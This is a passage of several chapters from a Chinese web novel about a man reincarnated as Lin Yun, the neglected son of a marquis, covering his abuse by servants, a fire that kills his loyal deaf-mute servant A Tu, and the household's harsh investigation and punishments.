“幸好还有些生活经验在脑子里,要不然拖着这么个肩不能挑手不能扛的娇嫩躯体,就要被这两个恶仆整治死了。”他不禁脑子里浮现出过往的一幕幕来,可生火也却是难事,“下面炒菜,哪怕是蒸馒头,好歹以前都做过,可以前一拧开关,天然气灶就出了火。到了这个朝代,哪有那么先进的工具?” 上了手才发现是真的难,自己蹲在地下,试了好几次,灶台下应该是打火石,可铿铿铛铛鼓捣半天,就算有个火星子蹦出来,也是稍纵即逝,木条、木棍、木片子,试了又试,折腾出一身汗,也是无济于事。 忽然左肩上被人重拍了一下,他吓了一跳,捂着胸口一抬头正是阿土那张黝黑憨笑的大脸,阿土比划了半天,他也看不甚明白,只好让开身子,看着阿土蹲下那壮硕的身子,将一个大肚挤在膝盖上方,手法极其熟练地用打火石燃火。他看到灶堂里有了红红的火焰,拿起水瓢来往大铁锅里添满了凉水。 这几天赖大娘和杏萍白天总不知道去哪里了,人都逮不到半个。他想趁着她们不在,好好洗洗,不然她们看见指不定有什么好话等着呢。 林雲刚刚就瞅见阿土浑身脏兮兮的,脖子耳后一层灰泥,不知道多久没有洗过了,头发里散出一股酸臭味,跟他一样纠结成一团,乱糟糟地堆在头顶。 载轩以前就爱干净,即使是捡废品那段日子,上床前也必要洗漱一番,把脏污的衣服放在门口,不带进卧室里。现在成了林雲,他都不知道这副躯体多久没有洗过了,前几天他身子感觉好像有虫子咬似的,一捏竟是小米粒大小的一只虱子,恶心得他立刻就要肖峰服侍他洗澡。但肖峰说,他染了风寒,天气又冷,实在不宜洗。还是用热水擦了身,换了内里小衣后才舒服了一点。 他想到就算过年没有新衣裤,起码还是要洗个干干净净,就用手比划着,要阿土去再打水来。顺道帮这个无亲无故的傻大个儿也洗一洗。 好在出了偏院,园子里不远处就有口水井。 他比划了好半天才使得阿土明白,要阿土去自己卧房里燃起火盆,搬去澡盆和长条凳。 自己洗头时,阿土就站在旁边呆呆地看,也不知道搭把手帮着换换水,他发现,这里也没有洗发水、沐浴露之类的用品。顶着一头湿发,比划着问阿土可以用什么来洗濯,可阿土挠挠头,两眼懵懂,一副完全不明白的样子,他真是又气又急、哭笑不得。好在阿土后来恍然大悟,摇晃着壮硕粗笨的身子跑到了东面第一间储藏室,取来一包粉末状东西憨笑着递给了他。他打开外面的牛皮纸,里面一股子胰子的味道,他猜应该是洗衣服用的。但眼下顾不得那么多了,就抓了一把糊在头上搓揉起来,不怎么起泡,却洗下不少污垢来,一盆水顿时不再清澈,灰蒙蒙的了。 他洗完后,上面的小衣已经湿透,地上一大片水渍,溅得哪里都是。还好地下的火盆烧得正旺,不然真要又感冒了。他用手巾把头发擦得半干,看到立在里间围帘旁的阿土,嘴张得拳头那么大,眉图蹙成一堆,好像发愁似的看着地上凌乱的水渍、脏衣和几大盆水。 林雲坐在卧榻东头,一边用梳子梳理一头已到肩下的长发,看到阿土的样子禁不住好笑起来,一边用手示意他脱了外衣,也洗一洗。阿土把头摇得拨浪鼓似的,慌忙摆手表示不要不要。 他没换衣裳,等着给阿土洗完再一并换了。于是就走过去拉住阿土的手,示意他躺在长凳上给他洗头。阿土受了惊似的,“咚”一下跪在地下,两手乱比划起来。 这几天他也看出来了,他身边这几个服侍的人大多是别的院不要才塞到这里的,大概小娘和他被赶到这里住以后,府中上下对他们不怎么友好,下人们也是言行乖违、举止逾矩,怪不得小娘会狠责下人,落下个狠毒跋扈的名声。而可怜的阿土可能在府中受了不少委屈,因为是聋哑,更是好多人欺负的对象,面对主子的好意,此刻更为惶恐害怕。 他心疼地安抚着阿土,也蹲下身来,抚摸着阿土的头和耳朵。阿土眼神里好像有只惊恐的小鹿乱撞,始终不敢直视林雲,林雲的手一触到他,就吓得闪闪躲躲。过了好一阵,林雲才使阿土明白,他没有恶意,是帮他洗头的。 的确,阿土脏得要命。林雲要阿土躺好,他坐在方凳上,一点一点的帮他把头颈上的污垢清洗干净,头发里藏了好多虱子,他忍着呕意,用梳子沾了皂粉弄出好些脏东西来。两个人洗到午后未时,才疲累地收拾完地下一大滩水,他让阿土坐在脚踏上,一面用手巾给他擦干头发,一面还用扇子帮他扇干头皮。以前母亲告诉过他,洗完头发不弄干头发就出门时极易感冒的。直到他觉得干得差不多了,才给阿土把头发缵到头顶梳成髻。他吩咐阿土把脏水倒掉,还有两大盆不太脏的,他把自己和阿土的脏衣服泡了进去。 他还帮阿土把脸上那一片连鬓胡刮干净了,露出了发青的结实的面庞来,原来阿土洗得头脸干净了也很可爱嘛!圆圆的大脑袋,笑时眯起的弯弯的小眼睛,一副呆憨的笑容,左边脸上还留有一个浅浅的酒窝,他想:若不是聋哑,阿土也会是个爹疼娘爱的好孩子,不至于沦落为奴、被人欺负。 忙活了大半天,他已经乏得很,就安顿阿土去休息,自己也上床躺着了。 他刚矇着一会儿,就听到赖大娘扯着大粗嗓门骂起来:“哪个让你用这么多木柴的?你要死是不是!本来柴火不多,不要过年的么!”好像还有阿土呜呜地,赖大娘大概打了阿土。 他起了身,看到地下还有两大盆脏衣服,披了外衣,走至廊下,高声说:“赖大娘有什么事来找我,不用责备阿土的。是我烧的水,是我要洗的,难不成不用你们服侍,我自己来也不行吗?” “这是怎么?少爷是嫌我们服侍的不尽心了,不如趁早也撵了我们去,找几个称心如意的来!”杏萍两手抱在胸前,鼻子都快仰上天去,嘲讽地回嘴。 “少爷金枝玉体,怕是不知道我们的为难哪!”赖大娘揪了阿土的一只耳朵,把阿土从厨房里拉出来,睨着眼叫道,“本来份例就不够使,炭火也没了,干柴也是旧时积存的,要还像以前一样铺张,怕是连正月都过不去的!”说完还又拧阿土的耳朵,痛得阿土龇牙咧嘴。 林雲顺着廊下走到赖大娘身前,拉开了赖大娘揪耳朵的手,“我怎么说也是个主子!”这一句他语气很重,警告赖大娘。 “哼,主子,也就是在我们面前当主子吧!”杏萍站在自己房前,鼻子哼了一下,咣啷一声摔门进去了。 “少爷是主子没错,但跟着您这样的主子,不如没有呢。您看看,别的奴才跟着主子风光不说,还有赏赐、有余银贴补家里,我们却还要拿着自己的体己来填这院里的窟窿呢!”赖大娘仍斜眼觑着头脸干净的主仆两个,高声掰扯道,“您有本事,就自己侍候自己,别拖累着无辜的下人们!” “你们要走我不拦着,若是没本事走,就安分做事!”林雲也目视着赖大娘很郑重地告诉她。然后示意阿土回房去,自己也错身回屋去了。 赖大娘听到这句,也噎得吐不出话了,嘴唇颤颤的。 当然结果不想而知,他反抗的下场换来了杏萍和赖大娘更为冷酷的对待,下午的饭就只有一碗豆面糊,连火盆也被收去。那两大盆衣服两个人看都没有看一眼,他夜里自己揉搓了好半天,换水倒水也得亲自去做,赖大娘守在厨房门口,他想进去取些热水早被那毒妇的眼神逼退。洗完衣服,他的手冻得通红通红的,枯瘦的手指倒是像极了载轩后来的手,他捂在被子里好久好久才窝过来。 大年夜里,林将军带领全家男女拜了祠堂,在内院正厅摆了盛宴。这些没有林雲的份,他仍被禁足在偏院,甚至屋里连火盆都没有,他只好蜷在两层被子里,靠体温取暖。他想起,在昏过去前的新年夜里,他也是这样抱膝蜷缩在母亲那张大床上,孤单地望着窗外绽开的一大朵一大朵绚烂的烟花,那些热闹非常不属于他,只有家里的凄清和孤寂是他独享的。不同的是,他在这一世里没有债务,还好,没有债务。那些压逼的他背都直不起来的债,迫使他在工地上拼命做工,最后他的左手臂被钢筋插穿,差点没了命。这些他都记得,那,那些苦和现在的苦哪个更重一点,他好像比较不出来。浮沉在这苦海里,有时他很想一死了之,但又想到他是不是在当代就已经死了呢,是死了后魂魄成了林雲,还是林雲死了后才有了林载轩,好像是个很复杂很难琢磨的问题。 赖大娘和杏萍越 34.魂回千年前 六 《千千杯酒不醉人》全本免费阅读 六 “侯爷,东面三间和南面少爷的卧房都烧毁了,其余损失不大,好在少爷没事,但,”明总管,林府的大管家在火灭后来到静玉堂向林将军一一回禀着,“阿土,就是那个聋哑儿,为了保护四少爷死了。” 天已大亮,林将军洗漱完毕才乘了抬轿来到偏院当中。防隅军领队向其回禀灭火情况后率军撤离了。那几间烧得残垣断壁的屋子还向上蒸腾出袅袅的烟尘来,院子里一片狼藉,还有十几名府丁还在忙碌着搬撤东西、洒水消尘。 林雲跌坐在地上,犹还抱着阿土的尸首不肯撒手,脸上泪水、黑灰和干了的血痂糊成一片,嘴唇已经发了白,任谁来劝不说话也不起来。有仆从给他脱下外褂披在了他单薄的身上。 “侯爷,人没有事。”阿夏四处查看后在林将军身旁站定,向其耳语了几句,垂首听命。 林将军蹙了眉,大致扫视了下院子里的情况,背着手走到林雲身前,“怎么走的水?” 林雲听到父亲问话,抬起疲累的双眼盯着其父,眼神迷散而绝望。继而看到偏院门边站着紧紧依偎在一起、毫发无伤的杏萍和赖大娘。 “伤了吗?”林将军见他盯住自己不放,又问道。 “启禀老爷,是阿土,是阿土没有埋好灶里的火。我和赖大娘是少爷叫起的,我俩奉少爷的命去内院叫人的。”杏萍拉着赖大娘跑到林雲身旁跪下,哭着诉说。 赖大娘抖瑟瑟的,也帮着杏萍说:“这一向是阿土的营生,我昨夜里有些难受,睡得早,失察了······” “ 不是,是阿土故意的,少爷授意阿土的,少爷想因走水一事搬了偏院······”杏萍边说边拿眼觑林雲,有些心虚似的。 “她说的是真的吗?”林将军听了那两个人的话,语气又冷下来。 林雲还盯着父亲,冷眼看到父亲的态度由一开始的些许关心变成蔑视和责问,两个人心都各自有了嫌隙和猜忌。林雲以为这火是其父授意的,此刻不过惺惺作态罢了。接着冷笑了几声,缓缓说:“父不知子,子不知父,私相厌弃,决绝而已。”说完低下头边笑边流着泪,无奈地摇了摇头。 “你说什么?你再说一遍!”林将军生了气,低沉有力地责问道。 “再说一遍!” “以后就留我在这自生自灭吧,别再连累无辜的人了。”林雲有气无力地说话。他无心再辩解了,即使说再多,父亲不信他还是不信他,他干脆死了为自己辩解的打算。 “我让你重复一遍前面的话!”林将军板起脸来,声音更重了。 “令逐诛心,满意了吗?”林雲不甘示弱,复抬起头又盯住父亲愤怒的瞳眸,四目相对,谁也不让谁。 “明老!”林将军怒喊,霎时阿夏起头带着院子里的人都吓得跪在了地上,偃声屏气,院子里静得针落而闻。 “以后任何人无令不得入偏园,角门上锁,只许他每月初一日辰时到内库房领取银米,其余时间禁入花园和内院。”林将军郑重地向俯首听令的明宅老命令道。 “那四少爷的份例还是原来的吗?”明老拱手问道。 “仅例银和粮米,其余免了。”林将军和林雲两个人还死死盯住对方,暗流激荡,两个人心里大概刀光剑影了几回合,难分胜负。 “那儿开个小街门供他进出!”林将军用手指了下偏院外园子的西墙。而后收回手,问他:“这些够吗?” “你说够,就够了。”林雲语气也生硬起来。 林将军脸色已经完全暗下来,要多云转雷暴了。 “侯爷,右司张大人来了。”阿夏看到偏院门口来了林将军的侍卫报信,赶忙到林将军身旁,将即将爆发的林将军阻下来,“侯爷,张大人等着呢。” 一众人跟着林大人和明宅老都走了,院里单剩了林雲和阿土。仿佛还是从前,却又不是从前。 杏萍和赖大娘这个把月来一直在托人找关系想把自己调出偏院,原来院里有十多人,有门路的都走了,她们也不甘心留在这个荒凉地带服侍一个无用之人。可是问到哪里,都明着告诉她们,老爷还在生四少爷的气,只有回转过老爷的心意来,她们那里才会好过一些。杏萍尤其不甘人后,与栖芳阁的青橙走得很近,没事就去那里套近乎。青橙不过只是个十六岁的小丫头,是在贺小娘跟前连面都露不着的人,这也算是杏萍关系最好的姐妹了,她去那里不光帮着淘洗干活,勤快得不得了,还想着有朝一日能被贺小娘看上讨要过来。 三日前,两个姐妹闲聊,杏萍抱怨道:“也不知道什么时候才能离了那个鬼地方?” “杏萍姐耐烦点吧,你羡慕我们,我还羡慕你清闲呢!哪像我们成天忙得脚不点地。” “你不知道,那院里没个正常的,赖大娘也糊里糊涂,就想着糊弄日子。我还年轻呢,谁不想风风光光地做大丫头?再说那园子真像有鬼似的,我晚上去解手都觉得阴风阵阵,好几次回过头去都觉得有人在看我。”杏萍怅然地说。 “倒是我也听人说,那偏园不太吉利,以前还吊死过人呢!姐姐说不定会遇到那个吊死鬼呢。”青橙半开玩笑地说道。 “死丫头,少瞎说话!” “嘻嘻,姐姐,我可不敢了。话说下面都传呢,你们院里的人啊一个赛一个的钢骨,都说雲少爷硬骨头,被这么罚硬是一句饶都不讨。” “不见棺材不落泪!他是钢骨了,害得我们跟着受罚!”杏萍把朵手上刚摘的风铃花扯个稀碎,扔在地下啐了一口。 “那要是少爷离了偏院,你们不也就能离开了?” “他啊,没有老爷开恩,这辈子和吴小娘一样不受待见,老死在那儿吧!” “少爷是主子,就算不取功名,也要娶妻生子吧,总有盼头的。”青橙安慰道。 “那等到他娶妻生子,我都多大了!” “到时候让少爷把你收了偏房不是正好?”青橙还在打趣。 “去你的,看我不 35.魂回千年前 六 《千千杯酒不醉人》全本免费阅读 六 今日本该家宴的,阖府上下在内厅足足等了一个时辰,都没有等到林将军入席。大娘子自知偏院走水,她作为主母未尽到察管之责,自己脱不了干系,早已在知晓事情时脱去簪服跪在祠堂里,等着侯爷处罚了。 红韶也陪着主子跪在一旁,等侯爷来。 去了偏院的府丁都被叫去了前院练兵场,都知道今天主君动了大怒,没人敢私自离开。消息一概还没有传出来。 杏萍和赖大娘被捆得结结实实的,阿夏派人关在了静玉堂书房旁的小橱间里。 老太太听到偏院走水的消息,心里也忐忑得很,后来知道林雲没事,就松了口气,静静地等在主屋里,等着林将军来请安。阿夏一向不随林将军去前院待客,只在内院当差。此刻去了养居阁。 “请老太太安。” “说说吧。怎么样?”老太太端坐于圈椅上,面容整肃。 “小的进去仔细查看过,火是从东边小厨房起的,借着风势烧到了四少爷的卧房,东面一排已然烧尽了。四少爷反应及时救火迅速,正屋只烧了那一间,南房最紧靠小厨房的那间也损毁严重。” “人呢?” “四少爷头部受了伤,我们赶去时,防隅军已经把埋住的阿土和少爷救了出来。阿土为护少爷伤势过重,已经没了气。” “那其他人呢?”老太太接着询问。 “还有一个丫头和一个厨娘,人没受伤,说是受少爷之命去喊人的。” “现在在哪儿?” “侯爷命我关押起来了。”阿夏跪着俯首回话,面有难色地说,“侯爷动了大怒,命四少爷以后独自留在偏院,只供给银米,其余一概免除,且禁少爷进入花园和内院,也不许其他人再去偏园。” “什么?”老太太惊异道。 “是那两个下人说,是少爷想要离了偏院蓄意纵火的。少爷也没辩解,只说了一句,侯爷就动怒了。” “说了句什么?” “父不知子,子不知父,私相厌弃,决绝而已。”阿夏顿了顿又说,“就这一句,侯爷就变了脸色。” “就没有人劝劝吗?”老太太用胳臂撑着扶手,愤怒似的用手狠拍了两下扶手一端。 “没有人敢劝,四少爷的脾气您也多多少少知道,今天还好没有继续把话往绝了说。” “这话还不够绝吗?”老太太叹着气,颇为无奈地说,“当初我要是知道吴氏如此,雲儿我也应该要过来的。可惜迟了。” 沉默了半晌,老太太又开口问:“那小子还说什么了没有?” “是少爷自己说‘以后就留他一人自生自灭吧,不用再连累别人了’,而后侯爷就下了令,命锁上角门,在偏园西墙开个小街门供他进出。”阿夏继续回答,“好像还有一句‘令逐诛心’。” “令逐诛心,怎么和他娘一样的倔强和执拗!当年,若不是走漏了吴氏之父被州堂下令处死的消息,也不会闹到现在这样。贺氏果然有些手段,小瞧了这个女人,这几年来掀起的风浪多半出自她的手笔,如今这个孙儿也遭了暗算了,柳氏也被带了进来,怎么收场呢?”老太太沉思了一阵,才想起地下还跪着的阿夏,吩咐道:“你和侯爷说,让他今天务必来一趟。” 林将军阴沉着脸陪着张大人议完公事,张大人也看出了林将军心不在焉的样子:“林侯爷向来言辞爽利,今日这般默而不语,怎么有烦心事吗?” “让张大人见笑了,确是府中昨夜走水,着实挂牵母上安宁。” “那不便多扰,侯爷先去处理家事,明早朝后再议不迟。”张大人拱手欠礼告辞了。 一名常年服侍左右的侍卫——付强代侯爷恭送张大人后,俯身请示道:“今日家宴,少爷姑娘们还在等您呢!您看是去内院还是?” “她呢?”林大人坐在议事堂木椅上没有起来,还是满面怒容。 “大娘子早就自跪祠堂请罪了。” “让他们自便吧,我今日就在外书房。”说完就踱步就进了旁边的大书房,且不许侍从跟着。 林将军想起了林雲的母亲吴芝彤,那个善良倔强却毫无心机的女人。打见第一面起,他就爱上了她,爱她姣好的面容,也爱她出身武将世家不同别的女子那样一股英豪之气;爱她倔强,爱她疯起来那么一种让人想要征服的凌厉;爱她单纯,爱她没有内宅女人身上的勾心斗角和哗众取宠,也爱她淡淡的风雅和清高。可这是一段孽缘,注定是孽缘,他对她的爱却抵不过她对他手刃其父的憎恨,她在这所大宅里受尽委屈和折磨,她的性子太不适合呆在侯府里。可他,不想放弃她,强逼着她又怀了蓉儿,以为她会因为再做母亲而变得柔顺些。母亲却夺了她的孩子,夺走了蓉儿就像夺走了吴氏最后的那点期冀和对生的渴望,当然也耗尽了他对她的耐心和情分。他也恨她,恨她那么不懂事,让他夹在其中处处为难;恨她一点都不念及以往情分,竟然想要去伤害自己的母亲和孩子,就算她不顾及自己,也丝毫不替雲儿考虑。他恨她,教调坏了林雲,让他们父子之间因她屡屡冲突,今天,他的儿子竟说:“私相厌弃,决绝而已。”这样的话也是能说的吗? 林雲,小时候自己也是很宠爱他的,甚至还让他骑在身上当骑大马玩,什么好东西都先紧着他。可是现在他全然不顾父亲的颜面,上次在祠堂里就闹得够够的了,今天,今天居然说出这样悖逆的话来! 今日天气很好,微风拂面,春意盎然,杏花梨花快要落尽了,树上长出一片片嫩绿的新叶,那叶尖儿在阳光下微反着绿光,一声声鸟叫入耳,清脆动听。 可林将军还怒气未消,想到林雲那个逆子,想到这几年来因他们母子而起的种种烦心事,不由得更是怒火中烧,恨不能现在就痛责一顿林雲。 但他心里也隐隐觉得,这件事很是蹊跷。若是林雲唆使下人纵火,为何还要拼力救火;真想离了偏院,就算不肯低头认错,何至于用这种下三滥的手段。吴氏的性子自己再清楚不过,她绝不会教自己的儿子做这种事,况且那个逆子与其母亲如出一辙,这样的手法压根不像是他所为。若是有人故意纵火呢?他想到那两个女仆,浑身上下毫发未伤,不似林雲和死掉的哑巴阿土一头一脸的黑灰,赤着足,脚都磨破了。她们起了火竟还能穿戴完好的跑出来,若是她们,那用意呢,背后有人指使吗,要不要查,查多深,查出来怎么办······ 一系列的思考,使得早起的林将军头都发痛了。 “还有柳氏,成天装着温柔淑良,不是劝我惜时进取,便是禁我寝食勿过,从头到脚要把我管得死死的。家里倒是管得一团糟,一个少爷差点遭害,竟什么都不知道。可柳氏到底是诗书大家里出来的,母亲也很是疼护,这次怎么罚,怎么做,还是要遵从母亲的意思。” 林将军饮过一杯茶后,起身往内院养居阁走去。 走过祠堂附近□□时,一个女使跑过来跪下恳求道:“恳请老爷去看看大娘子吧,大娘子自黎明时分就跪请祠堂,一直水米未进,刚刚已经晕了过去。” 林将军未搭话,径直走了。女 36.魂回千年前 七 《千千杯酒不醉人》全本免费阅读 七 大娘子柳氏已经在祠堂跪了三四个时辰,腰都直不起来了。但林将军并未去祠堂看过一眼,她怨毒吗? 当然。 当年婆母林老夫人求娶自己时,话说得多动听,婚后的日子就有多讽刺。她才过了门,英武帅气的林将军就率军出征去了,两个人还未来得及你侬我侬,她就发现怀了大女儿雨萌,一个人既要侍奉婆母,还要忍受怀孕生育之苦,偌大的一个林府竟没有一个知心之人。等到雨萌过了百日,林将军才回来,但同时回来的还有另一个女人,是侯爷在江北纳的小妾。那个女人娇媚可人,每每侯爷在自己房中,就装病嗔痴地把侯爷勾走了。后来,再后来,又有了吴氏,那个罪臣之女,也不知用了什么手段,侯爷的心十分里竟有七分在那里,她这个主母除了身份外,还不知道能用什么刷存在感。 以前在柳府里,爹疼娘爱,没有一处不合自己心意;家中严苛的教育也使得自己没有学会那些争宠的手段,到了婚后,自己要贤惠,要大度,要这样要那样,半点由不得自己。她的丈夫不爱她,她没有办法使他爱上她,他只是敬她,可她也想要爱,要真真切切、实实在在的爱。丈夫对她是例行公事,是相敬如宾,是给岳丈家的交代。虽然她生育的子女最多,但这多半是婆母的功劳。她知道,倘若没有婆母的袒护,侯爷或许连她卧房的门都不愿进来,他觉得她无趣、她刻板、她不解风情。这么多年来,她苦苦经营着主母温和贤淑、大度心慈的形象,把无声的眼泪和无尽的委屈都留在深夜里,她的丈夫完全看不到、感受不到她有多苦。她眼睁睁地看着自己的丈夫,把那些柔情似水、月下蜜语一一地分散给贺氏、给吴氏,就像花园里盛开了无数鲜花,林将军这只翩飞的蝶却只停留在刺手的玫瑰和妖艳的铃兰花上,独独不肯垂怜她这朵木槿一样,她被冷落、被搁置、被无视,她的心里痛得要命,却没办法对谁诉说,更无从发泄,这痛涨得她快要疯了。有时想起吴氏,她羡慕她、嫉妒她,吴氏活得那么肆意,即使癫狂,侯爷都会把她紧紧抱住,言辞激烈,表情却是那么疼护。从来,从来没有,侯爷从来没有那么对过她。 她记得那次,因吴氏在家宴上毫不客气地顶撞了她,老太太罚吴氏跪祠堂,仅跪了一个多时辰,林将军就急匆匆地赶去。两个人中间起了冲突,吴氏性子拗,林将军只是拿起藤条责打了几下就心疼的不得了,搂着跪在地下的吴氏又是劝慰又是爱抚,她当时站在祠堂外,心里嫉妒得发狂,好像沙漠里燃起的一团火,灼得她坐卧难安。 而,自己作为主母,连那么一点点丈夫的疼爱都得不到,她不禁觉得自己活得失败极了。 老太太那边命院里的护院石二爷提来了杏萍和赖大娘。 “你们是自己说,还是受了刑以后再说?”老太太抿了口茶,缓缓说道。 屈嬷嬷抽出了塞在两人嘴里的脏布团,顿时杏萍哭闹着大喊:“老太太饶命,饶命 啊!是少爷教唆阿土的,跟我们没有关系啊!” 石二爷是个横眉怒目的壮汉,得有二百斤重,胳膊比别人的大腿都粗,连鬓胡黑渣渣的一堆,两腮的肉潜伏在胡子下,随着走动一颤一颤的。他几步走到杏萍前面,抬手就是一个巴掌,另有两个小厮走过来摁住杏萍的两只手臂。杏萍左脸挨了一巴掌,脑袋被噌一下扇到右边去,登时右脸又挨了一下,两个脸蛋立刻现出宽大的红红的五指印来,嘴角也流出鲜血来。 屈嬷嬷一只眼盯着赖大娘,接着教训道:“就算四少爷不教你规矩,赖大娘是老人了,不会让你就这么嘶喊胡闹吧?再者告发主子,好大的胆啊!” “回老太太,我真的什么都不知道啊!我那天睡得早,睡到半夜,杏萍拉我起来,说是小厨房起火了。我们穿好衣服出来,可不就是小厨房里面烧得红红的,那时火不大,杏萍说她去叫少爷,让我去喊人。我还说‘我去叫少爷吧’,杏萍又说‘您老认识院子里的人多,说不定能快些喊来人救火’。我听了她的,没半刻钟杏萍也跑到角门这里喊人来开门,可角门锁死了,花园里的老胡头住的离角门远,喊了好半天都没见人来。”赖大娘被石二爷刚才的动作吓得战战兢兢的,话又啰嗦,也没点到重点。 屈嬷嬷打断她的话,问她:“那你们怎么没去同少爷一起救火?” 赖大娘抢先一步回答:“是杏萍不让,一开始我们只见阿土提着水桶慌慌张张地去打水,后来见少爷也跟阿土一轮一替地去提水,杏萍拽着我说‘不行,光少爷他们怎么救的过来呢?咱们得找人来帮他。’然后她就让我托着她,踩着偏园南墙上的台子翻过去叫人了。那会儿火已经烧大了,看着浓烟滚滚的,后来花园里的老胡头就开了角门过来了,他让我跑去内院喊人,他跟着一起去提水救火了。” “你是糊涂了吗?不先把少爷救出来,才是去喊人,少爷没什么大事,要是有事,你死一百回都不够的。”屈嬷嬷继续盘问,“你说是杏萍和你先发现起火的,是怎么起火的?” “我听到院子里有人说话,是少爷和阿土的声音,才知道是起了火。”这回杏萍急急地赶在赖大娘张嘴前就抢话回答道。 “说什么了?” “少爷说,先别叫她们,等烧大了再说。只要院子烧了,就能搬回去了。”杏萍急吼吼地答道。 “阿土,是为了保护雲儿而死的哑巴吗?”老太太放下手中那盏嫩青色的荷叶杯,看向地下这两个恶仆,“也听不见吧,怎么听你说来,竟能交流如常呢?” 杏萍的眼神闪烁不定,低了头还在强行狡辩着:“是少爷边打手势边说的,奴婢句句实言,不敢欺瞒老太太呀!” “看来得麻烦石二爷了。”老太太发话。 屈嬷嬷使了眼神,让石二爷和小厮们拖走了杏萍。杏萍还在不停大喊着饶命,赖大娘已经吓得说不出话,跪跌在那儿颤颤巍巍的,裆间尿湿了一大滩。 “赖大娘,四少爷那儿你是掌事的,究竟怎么回事,就看你要不要说实话了?”屈嬷嬷威吓道。 “我真的不知道,是杏萍那丫头,我说的都是真的,老太太,我就知道这么多。不信您去问老胡头,他来时,我还在拍角门喊人呢。我糊涂了,我应该先救少爷的。”赖大娘呜咽着,话都断断续续的。 屈嬷嬷接着冲她说:“你是糊涂了,主子重要还是救火重要都分不清了。我来给你捋一捋,杏萍说是听见少爷说话醒来的,而后你们两个出门看见小厨房起火,少爷可在院中?阿土可在院中?而后杏萍说她去叫少爷,让你去喊人,既然少爷先前唆使纵火,又何必再去叫少爷起来呢?角门不开,杏萍让你托她踩着台子翻过去叫人,她去哪里叫人了?叫来了什么人?” “我······我,我是真不知道啊,都是杏萍说的,我那天睡得迷迷糊糊的,起来看见火着起来了早六神无主了······我真的不知道怎么回事啊!” “谋害主子,你知道什么罪吗?” 赖大娘听到这一句,瞪圆了眼睛,开始不住地磕头求饶。 “带下去,好好拷问。”屈嬷嬷踢开了抱住其裙裾的手,吩咐站在门外的两个小厮。 “阿土忠心护主,是该好好葬了。”屈嬷嬷走到老太太近前,扶着已经站起身的老太太慢慢转向窗口。快到正午时刻,院子里都安静了许多,偶尔一两声南回的燕子发出的清脆鸣啼,划过晴空,和丝丝缕缕的白云一齐被风吹散了。 “可还有什么家人?” “明宅老刚刚来过,看到您正在和侯爷叙话,没有进来。请您的示下,早上那批救火的人,还在前院没有散,明老已经嘱咐过了早上的事谁都不许说出去,看还有没有什么交代?阿土是罪籍,父母早被处决,其余不知。后事是按规矩办吗?”屈嬷嬷和缓地请示着。 “嘱咐过就好,林家家法他们是知道的,有人犯上作乱,就按家法办。阿土是个可怜孩子,交代明老他们好生看待。”老太太看了会儿窗外的景色,走到了一张榻边,倚着扶手坐下了。 “那四少爷那儿?” “先看看再说。” 大约过了个把时辰,石二爷拿着两张口供回来复命:“回老太太,两个软骨头全招了,据她们所说,阿夏已经写成供词,她们都已画押,供认不讳。”说完,双手奉上供词。 屈嬷嬷取过来,给老太太一一仔细看过后。老太太表情严肃,又命石二爷提来相关人等审问。然后复叫阿夏进来,低声吩咐了几句。 通通调查清楚后,老太太命人暗里打死了杏萍,裹了草席扔去了乱葬岗。赖大娘的儿子旺生早上也参与了救火,散场后急急去求了侯爷,知道此事跟他娘绝脱不了干系,求侯爷网开一面,侯爷派阿夏传话过来。而且赖大娘的确有错但罪不至死,挨了板子后,老太太连夜将赖大娘和旺生撵到了一处偏远的庄子过活。青橙和红枫也叫来人牙子发卖了。 大娘子柳氏昏了两次,也最终没有等来林将军,在酉初时分,老太太到了祠堂。 老太太屏退所有的下人,苦口婆心地教导了一番柳氏。 “玉卿,你可知错?”老太太叫人搬来一把木椅,顺便把青绿色卍字图样的厚坐垫丢在地下,自己坐下后,示意柳氏跪在垫子上。 柳氏已经跪的两膝红肿酸软,在红韶的帮助下,才勉强继续跪在那儿。 “红韶你出去!”老太太又发话。 红韶心疼地看着地下的主母柳氏,未敢言语躬身出去了。 “我已知错,是我没有管好家,对雲儿所住偏院有失察之责,没有照顾好孩子们。”柳氏的脸上还挂着泪痕,伤心地回答。 她伤心,当然伤心,一天了,林将军都对她不管不顾,红韶派人去找了两次林将军,都被拒之门外。一个庶子,就算死了,抵得过她这个大娘子吗?更何况没有什么事,又不是自己罚他去偏院的,自己远在内院,离着偏院少说有五六里地,哪里能未卜先知!可林将军竟不念着伉俪之情,看都不曾看她一眼。若是吴氏,他会这样吗?大概会巴巴地跑来,就算人家甩他脸色,也会像只公狗一样舔上去吧! “玉卿,跪了一天,只知道这点错吗?”老太太把话接下去,“你抬头看着林家的列祖列宗,你扪心自问,不亏心吗?作为主母,最重要的就是延绵子嗣,确保府中上下和谐安宁。可这十几年来,你无的放矢,坐山观虎斗,借刀杀人,纵的贺氏间接逼死了吴氏,现在差点侯爷的一个儿子被害死,你全当我不知道吗?现在好了,你自食苦果,轮到人家来斗你了。你不掂掂自己几两骨头,若没有那样的气度和盘算,就应该矜矜业业治家,上下严谨些。若不是你逞奴行凶,这屎盆子也扣不到你头上。贺氏那里滴水不漏,半点证据都搜不到,倒是你自己这里出了叛逆,你竟一点不知,你到底整天想些什么?还在痴心妄想侯爷的爱吗?” 柳氏闻言失声痛哭起来。 “我早告诉过你,咱们女人,什么都要要不到的,权利地位财宝才是最紧要的,只有男人的爱是最不可靠的。吴氏的悲剧你没有看到吗?你当真侯爷爱的死去活来,会为了一个女人抛家舍业吗?不会的,男人都不会的,吴氏之死警不醒你,下回就轮到你死了。要我看来,贺氏的确比你聪明,借兄弟的光手里握着大把的钱财,下人们也多是马首是瞻,用人得当得力,要风情有风情,要手段有手段。但你得记住,你才是林府的当家主母,你才是这个家的女主人,你才是孩子们的母亲。即便她再得势,你依旧是林侯爷明媒正 37.魂回千年前 八 八 老太太以雷霆之势处置了一干人等,大娘子也被罚得不轻,但这些消息一径被封锁,几位公子小姐及下面的人对内里详情甚不清楚。因为这件事,全府上下彻底清查了一番,处置了七八个不守规矩的下人。林将军也成天冷着脸,大娘子房中半个月都未去过一次,栖芳阁也只有一两次而已,此番折腾,人人安分守己,再也不敢妄言打听,阖府上下肃凊了不少。 从那天起,林雲真的被单独锁在了偏院,只留下孤单单一人。 明老受老太太之命去给阿土收尸时,太阳已偏西,林雲把阿土平放在地上,正打了一桶水,用布给阿土擦去脸上的脏污。 “少爷,老太太说了,阿土护主有功,要厚葬才是。交给我吧!”明老半蹲下,向林雲说道。 “麻烦您了!”林雲收回了自己的手。 明老派人抬走了阿土,往林 